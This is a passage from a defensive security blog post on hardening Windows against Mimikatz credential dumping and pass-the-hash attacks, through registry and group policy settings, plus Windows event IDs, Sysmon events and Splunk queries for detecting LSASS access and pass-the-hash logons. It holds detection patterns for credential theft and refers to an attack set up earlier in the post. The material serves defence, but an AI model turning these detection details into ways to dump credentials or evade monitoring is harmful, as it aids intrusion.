Once disabled, MimiKatz will give an attacker the following error, which further restricts what they have access to on a system.
If the domain controller is unavailable Windows will check the last password hashes that have been cached to authenticate the user with the system. These password hashes are cached in the following registry setting:
The following group policy object disables the amount of user authentication hashes that are cached by default.
Computer Configuration -> Policies -> Windows Settings ->Security Settings -> Local Policy -> Security Options -> Interactive Logon: Number of previous logons to cache -> 0
It should be noted that while this setting will reduce the number of cached credentials, if a user is connecting to a VPN from a domain machine it may be worth setting this to
1 to cache only their credentials in the event of the domain controller not being available to authenticate against.
Additional LSA Protection
LSASS validates users for local and remote sign-ins and enforces local security policies. From Windows 8.1 and later there are additional protection for the LSA to prevent untrusted processes from being able to read its memory or to inject code. It is advised that systems prior to Windows Server 2012 R2 and Windows 8.1 should enable the LSA protection to prevent MimiKatz from accessing a specific memory location of the LSASS process. This protection can be enabled by creating the registry key
RunAsPPL and setting the value
1 in the following registry location.
In a system that has enabled the LSA protection the attacker will get the following error:
KB2871997 can be applied to clean credentials from LSA after a user logs off, by default Windows caches the credentials of users into the LSASS process whenever a user logs in. This includes the user’s clear text password, the users NT/LM password hash, and the users Kerberos TGT/Session key. When the user logs off, the credentials should be cleared out of memory. Prior to this update, this was not always the case. This issue preventing credentials from being cleared is now fixed, credentials will always be cleared from memory after a user logs off.
In addition to the above KB update, the default setting for non-protected users on Windows 7 and Windows 8 is to not force clear leaked logon session credentials. To override this default, add the following registry
DWORD, and set it to a recommended value of
This will trigger the clearing of any credentials of logged off users after 30 seconds, regardless if there is a still a reference to it.
Protected Users Group
From Windows Server 2012 and later there is functionality called “Protected Users” which is a special security group within Active Directory. This group enables Domain Administrators to protect privileged users like local administrators as any account that is part of this group can authenticate with the domain only via Kerberos. This would assist to prevent leakage of NTLM password hashes or plaintext credentials in the LSASS for sensitive accounts that are targeted by attackers typically.
Accounts that are part of this security group will automatically fall into the Kerberos policy in terms of authentication which is recommended to be configured as below:
Alternatively, accounts can be added into the
Protected Users group from PowerShell by executing the following command:
Add-ADGroupMember –Identity 'Protected Users' –Members Jane
Older operating systems like Windows Server 2008 can still have this security group by applying the patch KB2871997 from Microsoft.
Disable storage of plaintext passwords in AD
There are several legacy backwards compatible settings that are enabled by default within Group Policy. The "Reversible Encryption" setting is one of these.
To disable this, in Group Policy navigate to:
Computer Configuration > Security Settings > Account Policies > Password Policy, and set
Store Passwords using reversible encryption to
Enable Restricted Admin Mode
This sets up RDP sessions to not store credentials in the memory of the target host, which reduces the risk of attackers retrieving cached credentials by dumping the LSASS process. To start a session in Restricted Admin Mode, run an RDP session as:
mstsc /restrictedadmin /v:targethost
The settings can also be tweaked from within a few registry keys:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa, set the DWORD value DisableRestrictedAdmin to
0 to enable restricted mode (this setting does not exist by default so will need to be created)
DWORD value to create and set is
· Default value =
0, Admin Outbound Creds are enabled
· This should be set to
1 == Admin Outbound Creds are disabled
In addition to the registry keys above it is possible to set the default within Windows to restrict all RDP sessions initiated by domain members that are in scope for the GPO. This is usually preferred over the above registry keys as it can be applied to a group of users. The setting is located at the following location:
Computer Configurations > Policies > Administrative Templates > System > Credential Delegation, Then Set Restrict Delegation of credential to remote servers to
Require Restricted Admin.
Enforce NLA (Network Level Authentication) for RDP sessions
NLA forces RDP authentication over TLS (using a protocol called CredSSP) before the RDP session establishes. This means that this setting defends against LLMNR spoofing and similar attacks. However, this setting is typically deployed in combination with Restricted Admin Mode and Protected Users Groups as described in subsections above.
To enforce this in Group Policy the following GPOs can be set for servers and workstations/clients:
Computer Configuration/Policies/Administrative Templates/ Windows Components/Remote Desktop Services/Remote Desktop Session Host/Security
Enable: Require user authentication for remote connections by using Network Level Authentication
Computer Configuration/Policies/Administrative Templates/Windows Components/Remote Desktop Services/Remote Desktop Connection Client
Enable: Configure server authentication for client and in the drop-down menu choose
Do not connect if authentication fails
Remove Rights to PSExec
To protect against PSExec, we are going to unset the keys we set during the build phase of this technique:
REG add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 0 /f
REG add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile\Services\FileAndPrint" /v Enabled /t REG_DWORD /d 0 /f
REG delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile\Services\FileAndPrint" /v RemoteAddresses /t REG_SZ /d "*" /f
REG add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile\Services\FileAndPrint" /v Enabled /t REG_DWORD /d 0 /f
REG delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile\Services\FileAndPrint" /v RemoteAddresses /t REG_SZ /d "*" /f
The above demonstrates steps to harden endpoints against MimiKatz, additional steps can be taken to further harden the endpoint by enabling Defender Real Time protection, disabling PowerShell version 2 and other steps, I have written a hardening script that will do all of the above plus other stages to help harden systems:
As there are multiple stages to the above attack there are also multiple stages to an effective detection strategy.
To effectively detect pass the hash attacks, there are a few techniques that can be leveraged. However it is important that as defenders we are able to take a baseline of what normal traffic looks like on the network in attempts to identify malicious activity. Without a baseline, detection can sometimes be more difficult!
The following event IDs are generated when performing NTLM logon activity in a normal environment.
Logs on the Client/Workstation:
- 4648 – A logon was attempted using explicit credentials.
- 4624 – An account was successfully logged on.
- 4672 – Special privileges assigned to new logon.
Logs on the Domain Controller
- 4768 – A Kerberos authentication ticket (TGT) was requested.
- 4769 – A Kerberos service ticket was requested.
- 4776 – The computer attempted to validate the credentials for an account.
Pass The Hash Events
When a pass the hash attack occurs the following event IDs are generated on the attacker host, the target and the primary domain controller.
- Source Host
4648 – A logon was attempted using explicit credentials.
4624 – An account was successfully logged on. (Logon type = 9 Logon Process = Seclogo)
4672 – Special privileges assigned to new logon. (Logged on user, not impersonated user)
- Target Host
4624 – An account was successfully logged on. (Logon Type 3, NTLM)
4672 – Special privileges assigned to new logon.
- Domain Controller
4776 – The computer attempted to validate the credentials for an account.
We can leverage Splunk to identify signs of Pass The Hash being used with the following query:
index=main EventCode=4624 Logon_Type=9 Authentication_Package=Negotiate Logon_Process=seclogo index=main Logon_Process=Seclogo Logon_Type!=2
Logon_Type=9"and "Logon_Process=Seclogo both will show up in the event logs of the target host where PtH has occurred specifically in 4624 - An Account was successfully logged on (Logon type = 9 Logon Process = Seclogo).
While windows event logs are great, to have full coverage for PtH type attacks it is recommended that Sysmon be deployed (I've previously written about how to setup Splunk and Sysmon in your lab, the post can be found here) .
The following sysmon events will help in detection of PtH attacks and dumping LSASS:
- Sysmon 10 - Event ID 10 will show that access to the LSASS process from another process such as Mimikatz or Powershell.
- Sysmon 11 - This will show when files are created on a host, specifcically Sysmon can be queries for if TaskMgr creates a file (common with the attack mentioned above by dumping from TaskMgr then analysing offline).
- Sysmon 3 - This will show successful RDP connections, if there is an EID 10 followed by 3 in quick succession combined with EID 4624 this could be evidence of pass the hash attacks.
Additional detections using Splunk are shown below that will help when a user may be using RDP for lateral movement, this includes the use of PtH attacks over RDP with tooling such as xFreeRDP and others that leave similar footprints.
Splunk Query for tracking potential local admin accounts based on ingested logs:
The query above produces output as follows:
Splunk Query for listing successful RDP sessions and listing out by account name:
The logon type 10 is for RDP but only fires when it is a brand-new RDP session. Otherwise, it will be a type 7.
IPAddress field, which is the source IP that initiated the RDP connection, and the Computer is the target that will enable defenders to quickly co-ordinate suspicious RDP sessions based on correlated logs.
Pass The Hash can be executed from both a Linux and Windows environment, there are lots of fixes available to help mitigate the risks and help defenders monitor event logs to detect similar attacks. We've seen it is pretty easy to implement into an environment and there are many tools out there to carry out this attack.
The difficulty always falls onto the defensive and fix measures as there isn't really one fix for all but there are steps that can be taken to harden endpoints effectively. Additionally as defenders it is not only important to know your environment but also to be proactive blue team and laying additional traps(in the form of honeypots or canary tokens) is a good approach.
Grabbing credentials, hashes and information from memory can enable an attacker to laterally move to Domain Admin relatively easily once they have local admin on a host, therefore it is imperative to harden hosts so that these types of attacks are not feasible.
Additionally if you would prefer to automate deployment of your lab, my good friend and colleague Aidan has written some badass blog posts on automating deployment of an attacking lab(based off of the great work of another pal of mine, Neil Lines(@MyExploit2600):